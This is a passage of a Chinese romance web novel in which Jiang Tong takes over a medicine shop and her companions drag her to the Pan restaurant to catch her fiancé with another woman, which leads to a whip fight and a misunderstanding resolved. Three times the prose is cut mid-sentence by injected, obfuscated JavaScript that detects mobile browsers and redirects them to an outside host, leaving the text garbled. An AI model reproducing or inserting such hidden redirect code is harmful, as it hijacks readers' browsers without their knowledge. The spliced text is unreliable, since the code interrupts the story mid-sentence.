姜彤听徐元卿安排，于是应下。 - 药铺这边，舅舅说有东西要交给姜彤，却原来是看她及笄了，要正式将整间药铺归还。 他等姜彤过来，找了个松散的时间，将她引至二楼，搬出一大堆账册，又拿出一个带锁的木匣子。打开后，里面装的是药铺经营的契书、税册等一应文书。 沈系舟细细跟她叮嘱：“这些你都要抽出时间来，好好检查比对，以免出什么疏漏。再过些日子，可以雇一位懂药材的掌柜，等你成了亲，不方便抛头露面，就把这些重要的文书收好，时不时过问就行了。” “掌柜的人选，你若有意，我可以帮你推荐。” “我已经找好了住处，下个月就和你舅母搬过去，腾出来的地方可以给掌柜和伙计们住。” 姜彤拿着文书，听出舅舅话音，诧异地问：“您是有别的打算了吗？” 当年姜彤母亲去世，舅舅刚在京城有名的医堂熬出头，年纪轻轻有了出诊的资格。为了不让姜母的心血付诸东流，舅舅放弃了自己的大好前途，蜗居在这间小小的药铺给人抓药看病。 十多年过去，他帮铺子打出了名声，稳了客流，赚取的营收直接把整间铺子盘了下来，而他自己却有了去意。 姜彤是绝对不愿意的。 沈系舟道：“别担心，我暂时不会走，只是先搬出去而已。当年你娘离开时，我跟你爹说好，这间铺子就留给你作嫁妆。如今你定了亲，再过一年就要成家了，我自然要物归原主。” “我会在这里再呆两年，也好帮助药铺过渡。等你成了亲，彻底掌握了药铺的经营，有了新的坐堂大夫，我再离开。” “那两年后您要去哪？”姜彤追问。 “你这孩子，难道还担心我不成，”沈系舟失笑，“这些年，有不少医馆都向我递来招揽之意，你就别管我了。听说那徐家是书香世家，你嫁过去便是长媳，将来还要主持一府中馈。舅舅没什么能帮你的，这段时间，你就拿铺子练练手，人手钱利，有不懂的都可以来找我。” 话题又绕到姜彤的婚事上。她暗自咬唇，心知自己恐怕要让他们失望。 同时，她也实在不想让舅舅一家离开——哪怕他们并未走远，仍然还在京城。 她心中有种说不出的感觉，明明只是过了个生辰，生活却仿佛发生了翻天覆地的变化。长辈们纷纷对她交代多年的筹谋与期许，仿佛接下来都要离她远去。 沈系舟不知姜彤内心所想，等交代完毕，又带着她去楼下，把药铺中的学徒都叫到后院，通知众人，今后药铺内外一应事则，都由姜彤做主。 接下来的日子，姜彤一心扑在铺子里，早出晚归。 徐少衡来找过她一次，见她忙，便没再跟着，而是老老实实在家中读书。 这让姜彤在百忙中稍感欣慰，心道他也是长大了，知道不能再闯祸了。 …… 直到十天之后，姜彤被自己的话狠狠打脸。 徐少衡哪里是不闯祸，他安静了这么多天，分明是卧薪尝胆，一举给所有人憋了个大的！ 8. 酒楼 不知不觉，初夏渐至，一连多日阴云遮蔽，闷热不已。河沟浅塘蛙声起伏，叫得人心浮气躁。 这日清晨满城下起了雨，姜彤到了药铺，独自闷在小屋里，对着账册拨了半天算盘。等她终于停下来，松快松快脖子，就听到噔噔噔上楼的声音。 沈芷推门进来：“表姐，雨停了，外面好凉快！咱们出去逛逛街吧。” “真的？”姜彤转头去看窗外。果然，檐下雨雾不知不觉没了，远处浓云退散，天光初绽，隐有放晴之势。 沈芷三两步走到姜彤身边，拉起她胳膊：“走吧！趁着今日铺子清闲，赶紧出去转转。都闷了这么多天了你不憋得慌嘛！” 姜彤被沈芷连晃了好几下，看了眼桌上完工大半的册子，搁下笔：“行，待我去跟舅舅说一声。” “不用不用，我爹娘去收拾新房了，小赵有事也出去了，就小孟哥还在。反正小孟哥现在也能看病，铺子就交给他看着呗！” 沈芷说的小赵和小孟分别叫赵佑和孟延，是沈系舟这几年收的学徒兼伙计，每日都在铺子里帮忙。 姜彤随沈芷下了楼，果然铺子里空荡荡的，只有一个瘦削暗沉的影子坐在柜后捧着医术在看。听到楼梯脚步声，他抬起头，起身对姜彤唤了句：“东家。” 姜彤很不习惯这个新换的称呼，连忙示意对方坐下，对他道：“我和阿芷出去一趟，可能要晚点才回，铺子就麻烦你看着了。” 孟延颔首。姐妹俩出了门，往东集市的方向去。 京城东西南北有四大热闹街市，东集市就在药铺不远，毗邻东外城，有不少摊贩货郎聚集，各色杂卖品类繁多，是姜彤姐妹俩常逛的地方。 雨后初晴，路上行人多了不少。两人挽着手，一边闲聊一边往前走。等快到集市时，不期然竟遇到了徐少衡。 徐少衡正牵着匹棕马，站在一家饮子摊前仰头灌水，像是去哪里跑了一圈，累坏了一样。 听到两人唤，他转过头来，脸上露出惊喜之色：“真巧，你们怎么过来了？” 沈芷冲他撇撇嘴：“来逛呗。” 姜彤看他额上颈间都是汗，说话间只顾着用袖子擦，递给他一方帕子：“你这是做什么去了？” 徐少衡朝她甜甜一笑，接过帕子：“原本打算去城外跑马，路上听人说起潘楼这两日推出了一套特色菜品，叫什么‘山水十二图’，好看又好吃，我也想去尝尝，就打马回来了。” 说完豪爽地问两人：“你们要不要一起？我请客！” 徐少衡口中的潘楼是京城最出名的一家酒楼，兼具吃喝宴游之乐，号称“琼景繁宫，三千店首”，是京城达官显贵最喜欢的消遣之地。 在里面哪怕只吃一顿茶，也能花掉普通人家半年的开销，姜彤闻言就想拒绝。 但沈芷比她出口更快：“‘山水十二图’？那是什么？我还没听过有人用山水图来命名菜的。” 徐少衡卖关子：“去看看不就知道了？潘楼的酒菜融具南北各地风味，向来以精致奇巧著称。别说你，我一年都难得吃上几次，每次能回味半年。” 又瞧向姜彤：“彤娘，你喜欢的糖蒸红雪、透花糍都是他家的，以前都是我娘宴请贵客时才让家中仆妇去买，这次咱们也去正经吃顿席面！” 沈芷一听，更站不住了：“表姐，你都尝过了，我也要去吃！反正他愿意请客，咱们走吧！” 姜彤碍不住两人一个催一个劝，松了口。徐少衡叫来一名跑腿汉子，出钱让对方把马牵回徐宅，又在附近雇了辆干净马车，三人一起转道潘楼。 - 潘楼坐落在朱雀门外最繁华的街道上，行人远远便能望见那座飞檐翠拱的五层华美高楼，端的是富丽堂皇，壮阔宏伟。 待至近前，雕花彩门敞亮大气，枋柱皆以珠贝金砂相饰，灿光闪闪。门前左右排开两列栀花灯，车水马龙，络绎不绝。 姜彤很少来朱雀门这一带，正在细细欣赏这满目繁华盛景，却感觉到胳膊被捏得一紧。旁边沈芷抬头呆呆地望着高楼，面上泄露些许局促之色。 姜彤知道沈芷是头一次来这里，有些紧张，于是拍了拍她的手，对她安慰一笑。走在两人前面的徐少衡却大大咧咧，已经唤来小倌，开口便要一处位置上好的雅间。 姜彤蹙眉，正想跟他说不必如此浪费，旁边沈芷又拽住她，伸着胳膊一边指一边兴奋在她耳边小声道：“表姐你快看！这楼里面居然是整个挑空的，好高啊！你看你看，中央有个悬木台，有人在上面跳舞！哇，舞娘好漂亮，她们到底是怎么上去的？！” 沈芷兴奋地给姜彤指来指去，又是看灯，又是看人，又是看景。姜彤看得目不暇接，忙不迭回应。 她没注意到，中途另外两个暗地交换了好几次眼色。 很快，三人被引着上了顶楼，进入一间视野宽阔且安静的雅室。 没多久，备受期待的菜品也被呈上来了。 原来这“山水十二图”是以长夏为题，分为清饮、冷酥、盛脍、流羹四案，每案三道菜品，山水花木皆在其中，宜时宜景。每次菜品单独呈上来都是一副精巧小画，而错落组合在一起，又绝妙呈现出千里江山的繁华夏景图，色香味俱全，令人叹观。 三人皆是食指大动，伴着楼中轻歌曼舞，好好品鉴了这潘楼的头牌菜。 待食过半饱，三人有一搭没一搭说话，忽然徐少衡探身看向窗外楼下：“我好像看到徐元卿了。咦——他旁边那个红衣女是谁？” 姜彤和徐少衡对桌而坐，他一说，她顺着他的视线也立刻看到了。 就在酒楼三层的回廊边缘，身着一袭墨染直裰的徐元卿与一名赤红罗裙的女子并肩走在灯烛之下，穿过廊柱，缓缓而行。 两人微微侧着头，似是亲昵谈论着什么，没走多远，便一同进入了回廊深处的某间僻静房间，随即紧闭了房门。 姜彤肩头摁上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920802|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只手，随即耳边传来恶狠狠的声音：“那就是你哥？好啊！你们徐家果真是好教养，才和我表姐定亲不到半个月，居然就跑到这种地方与女子厮混！” 徐少衡倏地转过身：“喂！骂谁呢？我早就说过徐元卿这人爱拈花惹草，他自己德行不正，跟我有什么关系？” “你们可是一家子，怎么没关系？我说这探花郎怎么前段时间如此风光，身边又是权侯又是公主府的，都对他又争又抢，感情背地里早就好上了！你们徐家真是好样的，招惹那些女子还不够，还企图把我表姐拉入火坑！” “他自己在外风流花心，我们还能时时盯着不成？你凭什么一杆子打死所有人？” 两个人一言不合又激烈吵起来。 姜彤被吵的头疼，连忙和稀泥：“别生气别生气，我看那女子穿戴不凡，必定有什么身份。元卿哥来这里说不定有正事。” 她不说还好，一说更糟糕了。沈芷立刻把矛头对向她，恨铁不成钢： “表姐，这里可是酒楼，是供人寻欢作乐的地方！那两个人孤男寡女，青天白日私会一室，还关起了房门，能有什么正经事？！走，咱们现在就回去找爹爹和姑父，跟他们徐家退婚！”说着就拉起姜彤要离开。 “你冷静！”姜彤相信徐元卿不会做出什么，沈芷却不认识他。她看到这一幕，俨然愤怒上头，要回去告状。 姜彤一边死死拉住气到口不择言的沈芷，一边脑中飞速转动。她想找个什么理由为徐元卿开脱，但这地方、这场面、这对人都实在太过暧昧，让她半天想不出一个好说辞。 徐少衡还在旁边拱火：“你说他私会他就是私会了？只不过远远见了一面，凭什么就冤枉我们徐家？有本事咱们去看看到底怎么回事！” “看看就看看，正好顺便把人捉住，让你家一句话都说不出来！”沈芷立刻受激，要和徐少衡一起出门查清真相。 姜彤一听，开始有些怕了。她本心里对徐元卿是否与人私会是无所谓的，哪怕他真的有心上人，过后她成人之美就是。 但若他们过去，发现了徐元卿什么隐秘的私事，影响了他的计划怎么办？ 姜彤踌躇着不愿起身。 可惜到了这一步，另外两个已经达成了统一战线，将姜彤连拉带拽，说什么都要查清楚。 姜彤阻止无果，心中一想，以沈芷的性子，若她总是疑心此事，面上必然会表现出来。徐少衡又是个不怕事的，两人天天争吵，届时被长辈们听到了，只会闹得更大。 还不如让他们先去看看，是与非有个定论，届时她才好见机行事。 而且……姜彤心底里也承认，她听过那些流言，今日又见他与那名女子同行，其实也挺好奇徐元卿是与谁见面。 吃瓜嘛，自古人之天性，只要不惊动他们就好。 于是姜彤有了决定，如此这般好好嘱咐了另外两个一番，三人悄悄下了楼，前往那间僻静雅室。 9. 过招 姜彤等人吃饭所坐的雅间在大堂之上，门掩珠帘，有一定隐私性，也方便侍倌传酒上菜。雅间内侧开着栏窗，客人可以边吃饭边欣赏堂下歌舞，既能瞧见热闹，又保证一定隐私。 而徐元卿和红衣女子所进的屋子不同，是在静谧隐蔽的回廊深处，每间屋子都紧闭着房门，外人谁也进不去。 也因此，姜彤等人去了三楼，踮着步子，贴着耳朵在那间房外听了半天，什么声音也没听见。 远处还时不时有人路过，每次脚步声靠近，都搞得她胆战心惊，满是罪感。 眼看徐少衡和沈芷还小声争执偷听的好位置，姜彤把两人拉到一旁，劝他们：“这屋子想必内有隔间，在外面是听不见里面的，不如咱们回去吧。出来逛了大半天，也该走了。” 徐少衡以为姜彤着急，对她道：“彤娘，要不我直接去踹门。反正他是我徐家人，做出这等事，徐家也蒙羞。到时候我把我爹和师父都叫来，咱们三个都是证人，肯定会给你一个交代！” 姜彤拉住他：“你别冲动！眼下真相不明，何至于就要闹得那么难看。依我看，咱们还是先离开，等回头私下再问。就像你说的，咱们三个今日都看到了，他抵赖不得，会好好解释的。” “那可不一定，”沈芷道，“万一他说咱们眼花了呢？这么大的京城，有人身形相似是再正常不过了。” 姜彤无奈，用眼神点了点回廊远处：“那边总有人经过，咱们在这儿偷偷摸摸地站着像什么话？指不定已经有人注意到了，一会儿酒楼中的管事就要来问。” 徐少衡：“怕什么？咱们本来就是来吃饭的，遇到了熟人而已。若有管事过来，正好让他帮忙开门！” “……”姜彤无语地睨他一眼，“你是觉得围观的人还不够少，非要再拉几个人看热闹吗？” 徐少衡语塞，旁边沈芷说了个办法：“不如这样，咱们去大堂，叫些茶边喝边等，等人出来了，咱们也能一眼看见。到时候他抵赖不得，咱们无论是想当面质问，还是回去之后和姑父他们说，进退都有个出路。” “不行，徐元卿那家伙最擅言辞，整天口中头头是道，你若没有当场撞见，他总有一千套一万套说辞等着你！我觉得还是直接踹门最好！若真的不好交代，大不了我回去让我爹再打一顿板子！” ……这到底是什么仇什么怨，连自己都要赔进去？姜彤奇怪地看向徐少衡，正想说话，却耳尖听到了脚步声。 下一刻，三人守着的房门动了。 姜彤正对着门，最先瞧见，立刻将另外两人拉到回廊里侧的红柱后躲起来。 刚刚藏好，房门打开了。先前瞧见的红衣女子迈步出来，接着，她身后跟出一个粉襟侍女。 红衣女出了门，便在门前停下，背对着三人朝回廊另一侧望，望了片刻，像是十分心烦，吩咐身侧的侍女：“等了半天了，还是一点消息没有。紫心，你也去一趟吧，问问那边是怎么回事。” 粉襟侍女矮身应喏，随即离开。 那红衣女子看着侍女离去，也不知道想什么，在原地一动不动。 姜彤悄悄探头瞅了一眼，感觉对方年龄和她差不多大，穿着一身夺目的赤红织金马面裙，发间缠了两缕玉珠金枝，看上去轻快又不失华贵。 徐少衡悄悄跟她咬耳朵：“彤娘，那门开着，要不我现在直接冲进去吧。刚才他们在里面呆了半天，说不定都要走了。” 姜彤看了那女子两眼，却定下心：“不必了，你看她面带焦色，还打发人去别处问消息，应该就是有什么要紧事。你哥今日来这里肯定不是私会，咱们还是别打扰他了。” “彤娘，”徐少衡的声音有点着急，“都到这里了，咱们进去看看不就知道了嘛！” “喂——你催什么催！遇到这种事情，就不能让我表姐好好想想吗？” “我和彤娘说话，你怎么老是插嘴……” “……” “什么人！” 两人又一次起了争执，却不料红衣女听力敏锐，立刻就发现了。姜彤一惊，拽住两人转身就逃。 这酒楼内部是个回形廊，姜彤带着他们往拐角另一侧跑。但还没找到新的躲藏之处，身后便响起破风声。 姜彤本能将二人左右推开，下一瞬，右臂一麻，她不由“嘶”一声，旋身回腿踢开一条乌环蛇般的缠丝鞭，下一刻，廊下插花的瓷瓶应声而碎。 红衣女反应也十分迅速，立刻认准了姜彤是主导，也没管碎掉的花瓶，手执鞭子径直朝她攻了上来。 姜彤心知是他们有错在先，又兼顾忌对方身份，不敢还手，只能捂着手臂忍痛连连避让。红衣女见状，更加不依不饶，抡着鞭子接连袭向姜彤手臂，小腿，腰身，企图将她抓住。 二人过招的工夫，被推倒的徐少衡从地上爬起来，忙不迭唤道：“彤娘，我来帮你！” 说着便挡到姜彤身前，与红衣女过了两招，很快截住挥来的鞭子，顺势发力要将对方拽倒。 也就在这时，红衣女反应过来了徐少衡的话，怔愣了一下，看向姜彤：“你就是姜柏杰的女儿？” 红衣女只顾着惊讶，却忘了几人还在打斗中，被徐少衡扬起的力道一带，不由自主往前跌。她惊呼一声，眼看就要狼狈摔在地上，回过身的姜彤看见，赶紧去扶她。 一时间，徐少衡攻向红衣女，红衣女往地上倒，姜彤忙着阻止徐少衡的同时去扶红衣女，三人乱作一团。 最后红衣女终于反应过来，俏脸生出怒气，撑在姜彤腕上的手狠狠一按，另一手绕过身前用力将鞭子甩出，逼退两人，自己则直退到墙边方站住。 她冷笑着道：“我道是哪方宵小，好好的非要做贼一样躲在这种地方，原来是徐奉英的未婚妻啊！”话语中满是讥讽之意。 姜彤一时说不出话。 奉英是徐元卿的字，听说是他弱冠那年由恩师取的。红衣女如此称呼，显然平时与徐元卿关系匪浅。 徐少衡听不得对方奚落，尤其这人还是疑似徐元卿的私会对象，回嘴：“谁做贼了，难不成这是你家的地方？我们好好在那儿站着说话，你一鞭子就要抽过来，我还没找你算账呢！” 他说着转头看向姜彤，紧接着惊呼：“彤娘，你怎么受伤了！” 他吓了一跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920803|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，连忙凑到姜彤身边，伸手想触碰她捂住胳膊的手，却见衣袖上全是血迹，一时又紧张又心疼，“严重不严重？走，咱们赶紧回去看看！”扶着姜彤要走。 红衣女却挡在二人面前：“不准动！我让你们走了吗？” “你谁啊！”徐少衡气得不行，怕红衣女又要动手，连忙上前一步挡在她面前，“没看见有人受伤了吗！赶紧闪开！” 红衣女纹丝不动，不依不饶：“想走也可以啊，那你们说清楚，既不做贼，那为什么看到我就跑！” “废话！你一句不吭就打过来，我们能不跑吗？你这人是不是有毛病！” 沈芷不会武功，方才混战时躲在一旁。眼看姜彤受伤，那身份可疑的红衣女还蛮不讲理缠上来倒打一耙，也忙过来支应： “是啊是啊，我们过来吃饭，楼里都是留了账的！只不过中间路过这里而已。谁知道有人会那么紧张，看到有动静就一言不合出手啊！我们还没想找你的事呢，你还好意思惹我们！” 徐少衡满心都是姜彤受了伤，不耐烦对红衣女道：“我们现在不想跟你计较，识相你就赶紧闪开！” 沈芷：“就是就是，你别给脸不要脸！” “你们！”红衣女一人难敌二嘴，气得不行，目光扫到捂着胳膊的姜彤，脸色又冷静下来，哼一声，“哦，就这么巧，吃饭不在大堂吃，偏偏吃到了我的门前。我说姜娘子，” 她凤眸讥讽，落到姜彤身上， “你不就是紧张你未婚夫么，何必遮遮掩掩又是找人掩护又是找借口，平白无故做这些上不得台面的事情！” 姜彤实在是头疼。 她平生最不擅长这种嘴皮子官司，小时候被人骂作没娘养的野孩子，都只会自己郁郁闷在屋里。后来与人来往，总是能让则让，能忍则忍，遇到不怀好意的，也只是默默远离。 眼下红衣女非要让她给个说法，徐少衡和沈芷又因为“私会”一事满怀期待看着她，她实在不知道说什么才好。 毕竟她觉得，他们三个确实有些理亏…… 徐少衡还在一边安慰她：“彤娘，你别怕，说破天这事也是他们站不住脚。咱们先去把你的伤包扎了，等我回家告诉爹娘，让他们出面给你个说法。” 姜彤很想捂住他的嘴：“你别说了……” 红衣女不知道徐少衡的身份，听他一通说，只觉得荒唐可笑，抱住双臂：“说法？我也想要个说法，这事可不是谁弱谁有理。我谭莜今天就把话放在这里，今天你们三个不把话说清楚，就别想走了！” 谭莜？ 她姓谭？ 姜彤看向红衣女，心中一动。 她记得，近些年屡立战功的武英侯府便是谭姓人家。而进士游街那日，也有人议论过武英侯嫡女的外貌，说她“红衣着身，明烈张扬，敢冒天下大不韪”。 场面静默，几个人僵持不下，红衣女坚持要姜彤给个说法，而徐少衡等人坚持不妥协。 没多久，不远处又传来了匆匆的脚步声。 徐元卿自拐角后出现，一眼撞见看到满地瓷片水渍狼藉，和站在狼藉之上的众人。 10. 事故 一时间谁都没有说话。 徐元卿视线扫过满地的碎瓷片和残花乱枝，又扫过对峙两边的四人，待看见捂着胳膊满手血的姜彤，立刻直奔向她。 中间徐少衡下意识伸手拦了下，徐元卿像没看见一样，径直走过去。 他停在姜彤面前，微微托起姜彤的手臂，冷静地问：“你的伤是怎么回事？” 姜彤不想再惹麻烦，只低声道是自己不小心。 徐元卿没吭声，低头拉开她的手，看了一眼伤口，顿了顿，侧过身，将目光锁定到谭莜身上。 谭莜立刻察觉到了，不忿大喊：“你看我做什么？！” 她似乎十分不能忍受徐元卿此刻的目光，捏着鞭子指向另外三人：“又是这样，又是这样，一上来就要定我的罪！你知道他们刚才干什么了吗？！” 徐元卿没有出声，旁边徐少衡却较起真来，反问她：“我们干什么了？” 谭莜怒气冲冲地看向他，徐少衡置之不理，转头望了眼姜彤：“彤娘，你何必好心瞒着他。现在趁着人都在，咱们不如把话说清楚，咱们是如何过来吃饭，如何看见他二人出现在酒楼中，又如何肩并肩上楼，共赴——” “你们这是怎么了？”话说到一半，突然拐角后又冒出来一名银衫男子。 徐少衡的话戛然而止。 男子显然在状况之外，奇怪地看了眼众人，又瞄了两眼地上，手持折扇敲了敲手心，思量片刻，从拐角后走出来。 他似乎与徐元卿、谭莜都颇为相熟，走到谭莜身边，疑惑不解，“你俩今天怎么回事，说是拉我来做个见证，想要澄清什么误会……怎么澄到一半，一个两个都跑出来，在这儿闹起来了？” 众人：“……” 徐少衡哑了口。 沈芷瞪大双眼。 姜彤恍然大悟。 所以说，这位银衫男子方才也在那间屋内？ 徐元卿也不答，对姜彤介绍：“这是我在书院的同窗，姓邓名新，如今任职鸿胪寺，”顿了顿，“也是太后的弟弟。” 又对男子道：“这是我未婚妻。” 名为邓新的男子一听，立刻哦了一声：“你就是那个，奉英从小看着长大的妹子！” 姜彤闻言有些意外，心中转而一想——太后的弟弟，那岂不是谭莜的继舅舅？ 她见邓新十分好奇地望着她，矮身行了一礼。 “别客气，奉英妹子就是我妹子，”邓新俨然十分友好，扇柄向前虚扶了姜彤一下，“叫我义先就好。” 三人寒暄的功夫，谭莜一直在旁面带讥讽看着，看了一会儿，不耐烦，冷笑着问徐少衡：“你刚才说共赴什么？来来，把话继续说完呐！” 徐少衡却是已然呆住，半天回不过神。 姜彤离得近，还能听到他口中低声喃喃什么“这不可能”。 徐元卿也听到了，瞥了眼徐少衡，依旧没理他，而是向谭莜和邓新拱手告辞：“阿彤受了伤，我要带她去医馆，今日的宴就先散了吧。” “不行！”谭莜硬声道，“咱们今日必须把话说清楚，徐奉英，我好心一而再，再而三给你机会，不是让你来耍我的！这么长时间，你到底把我当什么了，召之即来挥之即去的狗吗？！” 徐元卿堵住她的话：“谭娘子，请慎言！奉英今日拉邓兄作陪，设宴请你赴会，原就是希望你能高抬贵手，放过我与我未婚妻一家。如今你伤到阿彤，这宴自然也没有什么进行下去的必要了。” “奉英只有一句话，你的条件，我必不可能答应。若我日后再看见与武英侯府相关的人出现在姜徐两家附近，我只能如实禀告给太后。届时是是非非，相信太后她老人家自会定个清楚！” 说完，也不理她，扶着姜彤就要走。 谭莜急了：“徐奉英，你别以为我不敢动你！” 徐元卿毫不理会，扶着姜彤，绕过谭莜往木梯的方向走。 姜彤从方才起就一直在猜测两人的关系，直到徐元卿说出设宴目的，方知晓他今日所做之事与自己也有关。 如今被牵着与他一同离开，姜彤再也不能旁观，停下步子对徐元卿道：“元卿哥，其实今日这事……属实是意外。” 她见徐元卿因为谭莜的话面色不愉，赶紧说完事情经过，表明谭莜只是不小心，希望能解除两边误会。 又道：“我身边有表妹和少衡跟着，一会儿可以和他们一起走，不碍事的。” 徐元卿望着她，脸色缓和了些，又看了眼跟上来的两人，对姜彤道：“我还是陪你一起去吧。” “真不用了，”姜彤婉声回拒，“客人在这里，东道主怎么好离开，其实我想着……既然今日这宴与姜徐两家相关，不如账就由我来出吧，也算是我的一番心意。” “哎——这样才对嘛！奉英，你看你这妹子多好，比你通情达理多了。”邓新此时也走了过来，听到姜彤的话，连忙对她投来一个感激的眼神，同时去拉徐元卿，“我跟你讲，这潘楼的醉琼露我可是半年没尝过了，馋得紧。方才才端上来，你们就不见了，我还没尝一口呢！不行，你今天说好了做东的，可不许先走！” 姜彤意会，也劝：“我真的不碍事，小伤而已。” 徐元卿看姜彤态度坚决，有些犹豫：“真不用我陪你？” 姜彤摇头：“不用。” 邓新见状，连忙回头喊：“哎哎哎，那个谁，奉英不走了，别在那儿傻站着了！赶紧过来！” 被称为“那个谁”的谭莜，依旧站在拐角后，藏在暗影中的脸色看不分明。 姜彤也不想自己留下来继续碍对方的眼，和面前两人行了一礼，随即出去找了位酒楼管事交代一番，带着沈芷和徐少衡离开。 - 和来时兴致盎然的气氛不同，回去的马车上，三人一路无话。 等回到药铺，姜彤下来，对徐少衡道：“我们到地方了，你也回去吧。” 徐少衡不愿意，说他出来时已经跟家中知会过，跟着进了药铺。姜彤没说什么，只叫了沈芷一起上楼帮忙。 在二楼的房间内，姜彤解开外衣，露出胳膊，用棉纱沾水清理伤口。 沈芷老老实实在一旁给姜彤递东西，一声不敢吭。 伤口不算深，只不过是被鞭子抽出来的，血渗出来粘在破烂的衣袖上，看上去有些惨不忍睹。 经过这么长时间，早已经不流血了，她只需要把凝固的血污清理干净。 姜彤低头收拾完，又倒上金疮药粉。沈芷看姜彤单手把药瓶搁到桌上，就极有眼色地上前帮忙缠绷带。 姜彤微微抬头看了眼沈芷。从邓新出现之后，她就再也没出过声。回来路上也一直低眉顺眼的，连抱怨都不曾。 到这时候，她也不敢跟姜彤对视。 姜彤心里就有数，知道她这是心里有鬼了。 联合徐少衡在酒楼中的反常行为，还有今日这一路的历程，姜彤基本可以断定，这场意外绝对有两人在背后捣鬼。 她问沈芷：“今日去酒楼吃饭，是不是你和少衡故意把我诓过去的？” 果不其然，沈芷露出了心虚的表情。 她神情有些挣扎，见姜彤一直平静地望着她，知道这事过不去，只好承认：“表姐，我错了……” 姜彤：“说说是怎么回事吧。” 沈芷小心地缠好绷带，打上结，又轻轻扯了扯，见绷带没有松动，这才老实交代：“是徐少衡这个家伙，他说他哥在外面有情人，还说会证明给我看，我……我一时糊涂，就相信了他。” 沈芷把前因后果详细说了遍。 原来十日前，徐少衡那次过来，就是跟她商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920804|177073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量这件事。 徐少衡告诉沈芷，说他哥看上去一板正经，实际上十分滥情，早就私下与人好上了。 沈芷最开始也不信，但徐少衡说，徐元卿这么多年在外游学，认识不少三教九流的人，经常一声招呼不打就独自出门，与人私下相会。 徐少衡还道，徐元卿养了只灰鸽子，他爹娘都不以为意，但徐少衡发现过，徐元卿经常用那只鸽子与人传信。他以前悄悄去看过火灰，那灰中还有残片。虽然信的内容已经缺失，却仍能看出只言片字，观字迹，是女子秀楷。 他疑心徐元卿在与不知名女子来往传情。 还道，有次他在家中树上坐着，曾亲眼见到徐元卿拿着陌生的女子样式玉钗，久久站在自己院中，低头一直看，不知道想什么。 徐少衡说了很多，让沈芷慢慢也生了疑。毕竟他俩是亲兄弟，论了解程度，别人都比不过徐少衡。 沈芷还想起这段传得沸沸扬扬的流言，想着徐元卿一个人，能一下跟三家扯上姻缘瓜葛，心中对徐少衡的话更加深信不疑了。 所以当徐少衡说，会证明给她看，但需要她配合帮忙时，沈芷立刻同意了。 接着就有了今天这一出。 雨才停不久，徐少衡就打发人来传话，让沈芷把姜彤引出门，然后听他安排行事。 沈芷立刻行动，拉姜彤去了约好的东集市，又和他相互配合掩护，改道潘楼。直到徐元卿与人一起出现，她才真正明白，原来徐少衡是要当面捉人。 却没想到，中途又横生意外，想象中的情人没捉成，反倒让别人看了笑话。 说到这里，沈芷还有些不安，问姜彤：“表姐，那酒楼的一顿宴席可要不少花费，更别提那尊被打碎的花瓶，看着少说要上百两，你真掏得起啊？” 姜彤勉强笑了笑：“这些你就不用操心了，这些年我多少存了些钱，爹爹平时懒得打理家中庶务，也把家中财物交给我保管，赔上点银子，还是没问题的。” “这么大一笔钱，姑父会不会责怪咱们？” “我会酌情跟他说，别怕。” 姜彤看上去平静，其实心里也心疼银子。 只不过，她又能怎么办？ 先前徐元卿与她达成约定，她原本以为，两人只需要在特定时间好好配合就行了。 却没想到，徐元卿说的“不会让人为难姜家”，不是一句空话，他是真的默默在做。 今日徐元卿设宴，就是想让武英侯府别找他们两家麻烦，结果她却带着人去砸场子，一下就把人得罪了。若她一点表示没有，回头说出去，指不定被人怎么碎嘴笑话。 当然，姜彤也知道，这事不能怪沈芷。沈芷是为了她好，怕她被辜负。 但这种“意外”不能再发生了。 姜彤看沈芷仍然有些不安，也没有责备什么，出言安抚了两句，道：“徐家你不了解，少衡性子也有些执拗，以后他让你做什么，你别掺和就没事。” 沈芷连连点头。 - 两人下了楼，徐少衡还在。 药铺下午没什么客人，舅舅他们也不在，徐少衡和孟延各自在铺子两头沉默。 姜彤伤了胳膊，又因为今日遇到的事，也不想再看账本，跟孟延交代了两句就打算回去。 徐少衡跟着她离开。 两人照旧一路无话。 走了大半时辰，回到长兴街，姜彤从侧门进宅，徐少衡在她身后也连忙钻进了门。 这个时辰爹爹还未归家，只有家中常雇的厨娘在后厨忙碌。姜彤看徐少衡一直跟着自己，也不赶人，将破损的衣服放到自己屋里，准备洗干净后缝一缝，闲时在家中也能穿。 待出了房门，徐少衡攥着衣襟候在她院中，脸上满是紧张和无措，问她：“彤娘，你在生我的气吗？” 11. 露馅 对着徐少衡，姜彤总是不知道该怎么跟他说好。 古语曾讲，物以类聚，人以群分。姜彤与人相处便这样，合则聚，不合则散，是以平日里大家都十分和睦，很少有什么会让她牵动情绪。 偏偏徐少衡不同。 